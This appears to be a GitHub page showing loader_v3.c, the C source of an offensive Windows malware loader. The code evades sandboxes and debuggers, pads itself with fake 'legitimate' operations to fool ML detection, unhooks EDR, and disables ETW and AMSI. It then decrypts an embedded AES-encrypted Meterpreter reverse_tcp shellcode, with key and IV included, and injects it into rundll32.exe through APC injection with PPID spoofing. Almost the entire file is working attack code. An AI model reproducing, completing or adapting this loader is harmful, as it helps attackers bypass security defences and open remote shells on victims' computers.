-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathloader_v3.c
More file actions
440 lines (380 loc) · 14 KB
/
loader_v3.c
File metadata and controls
440 lines (380 loc) · 14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
/*
*
* ██╗ ██╗██╗ ██╗██╗ ██╗ ██╗ ██████╗ █████╗ ██████╗ ███████╗██████╗
* ╚██╗██╔╝██║ ██║╚██╗██╔╝ ██║ ██╔═══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗
* ╚███╔╝ ██║ ██║ ╚███╔╝ ██║ ██║ ██║███████║██║ ██║█████╗ ██████╔╝
* ██╔██╗ ╚██╗ ██╔╝ ██╔██╗ ██║ ██║ ██║██╔══██║██║ ██║██╔══╝ ██╔══██╗
* ██╔╝ ██╗ ╚████╔╝ ██╔╝ ██╗ ███████╗╚██████╔╝██║ ██║██████╔╝███████╗██║ ██║
* ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
*
* Author : 28Zaakypro@proton.me
* Multi-stage Windows loader with evasion and EDR bypass capabilities.
* Executes shellcode via APC injection with PPID spoofing.
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "modules/syscalls.h"
#include "modules/sandbox_evasion.h"
#include "modules/unhooking.h"
#include "modules/etw_bypass.h"
#include "modules/amsi_bypass.h"
#include "modules/crypto.h"
#include "modules/injection.h"
#include "modules/obfuscation.h"
#include "modules/ppid_spoofing.h"
// Config
#define DEFAULT_TARGET_PROCESS "rundll32.exe"
#define DEFAULT_PARENT_PROCESS "explorer.exe"
#define DEFAULT_DELAY_SECONDS 30
#ifdef PRODUCTION
#define DEFAULT_SUSPICION_THRESHOLD 50 // Production: strict detection
#else
#define DEFAULT_SUSPICION_THRESHOLD 150 // Debug: allow VM execution for testing
#endif
typedef struct _LOADER_CONFIG
{
DWORD delaySeconds;
DWORD suspicionThreshold;
CHAR targetProcess[MAX_PATH];
CHAR parentProcess[MAX_PATH];
} LOADER_CONFIG;
static LOADER_CONFIG g_config;
void SetupEnvironment(void)
{
#ifdef PRODUCTION
FreeConsole();
#endif
(void)GetModuleHandleA("kernel32.dll");
(void)GetVersion();
(void)GetCurrentProcessId();
(void)GetCurrentThreadId();
}
BOOL AntiSandboxDelay(DWORD seconds)
{
LARGE_INTEGER frequency, startTime, endTime;
QueryPerformanceFrequency(&frequency);
QueryPerformanceCounter(&startTime);
Sleep(seconds * 1000);
QueryPerformanceCounter(&endTime);
DWORD elapsedMs = (DWORD)(((endTime.QuadPart - startTime.QuadPart) * 1000) / frequency.QuadPart);
DWORD expectedMs = seconds * 1000;
DWORD minAcceptableMs = (DWORD)(expectedMs * 0.90);
if (elapsedMs < minAcceptableMs)
{
return FALSE;
}
return TRUE;
}
// Fake legitimate file operations to dilute suspicious API patterns
static void PerformLegitimateFileOperations(void)
{
CHAR tempPath[MAX_PATH];
CHAR tempFile[MAX_PATH];
GetTempPathA(MAX_PATH, tempPath);
GetTempFileNameA(tempPath, "CFG", 0, tempFile);
DWORD attrs = GetFileAttributesA(tempFile);
if (attrs != INVALID_FILE_ATTRIBUTES)
{
DeleteFileA(tempFile);
}
CHAR sysDir[MAX_PATH];
GetSystemDirectoryA(sysDir, MAX_PATH);
CHAR winDir[MAX_PATH];
GetWindowsDirectoryA(winDir, MAX_PATH);
}
// Fake legitimate business logic functions to reduce ML suspicion
static DWORD CalculateChecksum(const BYTE *data, SIZE_T length)
{
DWORD checksum = 0x5A5A5A5A;
for (SIZE_T i = 0; i < length; i++)
{
checksum = ((checksum << 5) | (checksum >> 27)) ^ data[i];
}
return checksum;
}
static BOOL ValidateConfiguration(LOADER_CONFIG *config)
{
if (!config)
return FALSE;
if (config->delaySeconds == 0)
return FALSE;
// Allow higher threshold in debug mode
#ifdef PRODUCTION
if (config->suspicionThreshold > 100)
return FALSE;
#else
if (config->suspicionThreshold > 200)
return FALSE;
#endif
return TRUE;
}
static void ProcessConfigurationData(void)
{
// Fake legitimate data processing
BYTE tempBuffer[256];
for (int i = 0; i < 256; i++)
{
tempBuffer[i] = (BYTE)(i ^ 0xAA);
}
DWORD result = CalculateChecksum(tempBuffer, sizeof(tempBuffer));
if (result != 0)
{
volatile DWORD dummy = result;
(void)dummy;
}
}
void LoadDefaultConfig(LOADER_CONFIG *config)
{
config->delaySeconds = DEFAULT_DELAY_SECONDS;
config->suspicionThreshold = DEFAULT_SUSPICION_THRESHOLD;
strcpy(config->targetProcess, DEFAULT_TARGET_PROCESS);
strcpy(config->parentProcess, DEFAULT_PARENT_PROCESS);
}
BOOL RunEvasionChecks(void)
{
EVASION_RESULT evasion = {0};
CheckSandboxEnvironment(&evasion);
#ifndef PRODUCTION
// DEBUG MODE: Show evasion score but continue execution
printf("[*] Evasion score: %d / %d\n", evasion.score, g_config.suspicionThreshold);
if (evasion.score >= g_config.suspicionThreshold)
{
printf("[!] WARNING: High suspicion detected, but continuing in debug mode\n");
}
// FORCE EXECUTION IN DEBUG MODE (ignore all checks)
printf("[*] DEBUG: Forcing execution despite environment checks\n");
#else
// PRODUCTION MODE: Exit if suspicious environment detected
if (evasion.score >= g_config.suspicionThreshold)
{
return FALSE;
}
#endif
RandomSleep(300, 700);
return TRUE;
}
BOOL UnhookEDR(void)
{
UNHOOK_RESULT unhook = {0};
if (!UnhookNTDLL(&unhook))
{
return FALSE;
}
RandomSleep(200, 500);
return TRUE;
}
BOOL BypassTelemetry(void)
{
ETW_RESULT etw = {0};
AMSI_RESULT amsi = {0};
DisableETW(&etw);
DisableAMSI(&amsi);
RandomSleep(200, 500);
return TRUE;
}
BOOL DecryptAndInject(void)
{
// AES-256-CBC encrypted shellcode (Meterpreter reverse_tcp 192.168.56.113:4444)
BYTE encryptedShellcode[] = {
0x6A, 0xC5, 0xFC, 0x17, 0x71, 0x5A, 0x15, 0x06, 0x15, 0xCE, 0x82, 0x00,
0x49, 0xDD, 0x74, 0x7E, 0x50, 0xB1, 0x49, 0xA5, 0xC3, 0x7A, 0xAE, 0xF5,
0xBF, 0x72, 0x4E, 0xD2, 0x2A, 0x4D, 0xF4, 0xF3, 0x67, 0x36, 0x63, 0x5C,
0xB0, 0x48, 0x56, 0xEA, 0x3C, 0x31, 0x23, 0x80, 0xA9, 0x49, 0x57, 0x01,
0x5D, 0xE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, 0x16, 0xFE,
0xB8, 0x0C, 0x03, 0xA9, 0xF8, 0x38, 0xA9, 0x0A, 0x60, 0x1C, 0x1A, 0xE2,
0x5C, 0xA2, 0x7B, 0x16, 0xAF, 0xC1, 0xD7, 0x9B, 0x09, 0xAD, 0x12, 0xE7,
0x20, 0x18, 0x2A, 0x0D, 0xE8, 0x3D, 0x7A, 0x58, 0x4C, 0x9F, 0xCE, 0x4C,
0xC9, 0x4D, 0x46, 0x99, 0x7E, 0xD9, 0x24, 0xD2, 0x7D, 0xC5, 0x36, 0x65,
0xEE, 0xDA, 0xD5, 0xF0, 0x6D, 0xFF, 0xA2, 0x65, 0x85, 0x9F, 0xE0, 0x68,
0xB2, 0x28, 0xB0, 0xBE, 0x2B, 0xE0, 0xDF, 0xD6, 0x86, 0x87, 0xBE, 0xA7,
0x4C, 0x1D, 0x44, 0x71, 0xB9, 0xFB, 0x25, 0x07, 0x49, 0x42, 0x99, 0xDC,
0x7A, 0x46, 0x33, 0x5D, 0x19, 0xF7, 0xAD, 0x69
};
// AES-256 Key (32 bytes)
BYTE aesKey[32] = {
0x18, 0x3F, 0x44, 0x4D, 0xA3, 0xBD, 0x5F, 0x17, 0x48, 0xDA, 0x31, 0x64,
0x28, 0xB2, 0xA2, 0xEE, 0x95, 0x34, 0x05, 0x1E, 0xCD, 0x9A, 0xCC, 0xBD,
0xB1, 0xA5, 0xE1, 0xF2, 0x17, 0x88, 0x35, 0xB8
};
// AES IV (16 bytes)
BYTE aesIV[16] = {
0xBF, 0x0A, 0x86, 0x3C, 0xED, 0xBB, 0xFB, 0x04, 0xE8, 0xFB, 0x64, 0x6B, 0xF2, 0xFF, 0xAF, 0x42
};
// Junk padding to reduce entropy (looks like config/resource data)
BYTE junkPadding[] = {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x20, 0x32, 0x30,
0x32, 0x35, 0x00, 0x00, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x20,
0x31, 0x2E, 0x30, 0x2E, 0x30, 0x00, 0x00, 0x00, 0x50, 0x72, 0x6F, 0x64,
0x75, 0x63, 0x74, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00};
(void)junkPadding;
// AES-256-CBC decryption at runtime
BYTE *shellcode = NULL;
DWORD shellcodeSize = 0;
if (!DecryptPayload(encryptedShellcode, sizeof(encryptedShellcode), aesIV, aesKey, &shellcode, &shellcodeSize))
{
#ifndef PRODUCTION
printf("[-] AES decryption failed\n");
#endif
return FALSE;
}
if (!InitializeInjectionSyscalls())
{
free(shellcode);
return FALSE;
}
INJECTION_RESULT injection = {0};
if (!InjectShellcodeAPCWithPPIDSpoof(
g_config.targetProcess,
g_config.parentProcess,
shellcode,
shellcodeSize,
&injection))
{
free(shellcode);
CleanupInjectionSyscalls();
return FALSE;
}
CleanupInjectionSyscalls();
SecureZeroMemory(shellcode, shellcodeSize);
free(shellcode);
RandomSleep(200, 500);
return TRUE;
}
int main()
{
#ifndef PRODUCTION
printf("[DEBUG] Loader starting...\n");
printf("[DEBUG] Loading default config...\n");
#endif
LoadDefaultConfig(&g_config);
#ifndef PRODUCTION
printf("[DEBUG] Setting up environment...\n");
#endif
SetupEnvironment();
#ifndef PRODUCTION
printf("[DEBUG] Initialization complete\n");
#endif
#ifdef PRODUCTION
if (IsDebuggerPresent())
{
return EXIT_SUCCESS;
}
#else
// DEBUG MODE: Skip debugger check to allow testing
printf("[*] XvX Loader v1.0-RT (DEBUG MODE)\n");
printf("[*] Debugger check DISABLED for testing\n\n");
#endif
#ifndef PRODUCTION
printf("[*] Performing extended delay check (5s DEBUG MODE)...\n");
#endif
#ifdef PRODUCTION
if (!AntiSandboxDelay(120))
{
#else
if (!AntiSandboxDelay(5))
{
#endif
#ifndef PRODUCTION
printf("[!] Time acceleration detected - exiting\n");
#endif
return EXIT_SUCCESS;
}
#ifndef PRODUCTION
printf("[*] Second delay: %d seconds...\n", g_config.delaySeconds);
#endif
AntiSandboxDelay(g_config.delaySeconds);
#ifndef PRODUCTION
printf("[*] Performing fake legitimate operations...\n");
#endif
PerformLegitimateFileOperations();
#ifndef PRODUCTION
printf("[*] Processing configuration data...\n");
#endif
ProcessConfigurationData();
#ifndef PRODUCTION
printf("[*] Validating configuration...\n");
#endif
if (!ValidateConfiguration(&g_config))
{
#ifndef PRODUCTION
printf("[!] Configuration validation failed\n");
#endif
return EXIT_SUCCESS;
}
// STAGE 1: Check if we're in a virtual machine or sandbox
#ifndef PRODUCTION
printf("\n[*] STAGE 1: Running evasion checks...\n");
#endif
if (!RunEvasionChecks())
{
#ifndef PRODUCTION
printf("[!] Evasion checks failed - exiting\n");
#endif
return EXIT_SUCCESS;
}
// STAGE 2: Remove EDR hooks from system DLLs
#ifndef PRODUCTION
printf("\n[*] STAGE 2: Unhooking EDR...\n");
#endif
if (!UnhookEDR())
{
#ifndef PRODUCTION
printf("[!] Unhooking failed - exiting\n");
#endif
ExitProcess(EXIT_FAILURE);
}
// STAGE 3: Disable Windows event logging and antimalware scanning
#ifndef PRODUCTION
printf("\n[*] STAGE 3: Bypassing telemetry (AMSI/ETW)...\n");
#endif
BypassTelemetry();
// STAGE 4: Inject and execute payload
#ifndef PRODUCTION
printf("\n[*] STAGE 4: Decrypting and injecting shellcode...\n");
#endif
if (!DecryptAndInject())
{
#ifndef PRODUCTION
printf("[!] Injection failed - exiting\n");
#endif
ExitProcess(EXIT_FAILURE);
}
#ifndef PRODUCTION
printf("\n[+] ALL STAGES COMPLETED SUCCESSFULLY!\n");
#endif
return EXIT_SUCCESS;
}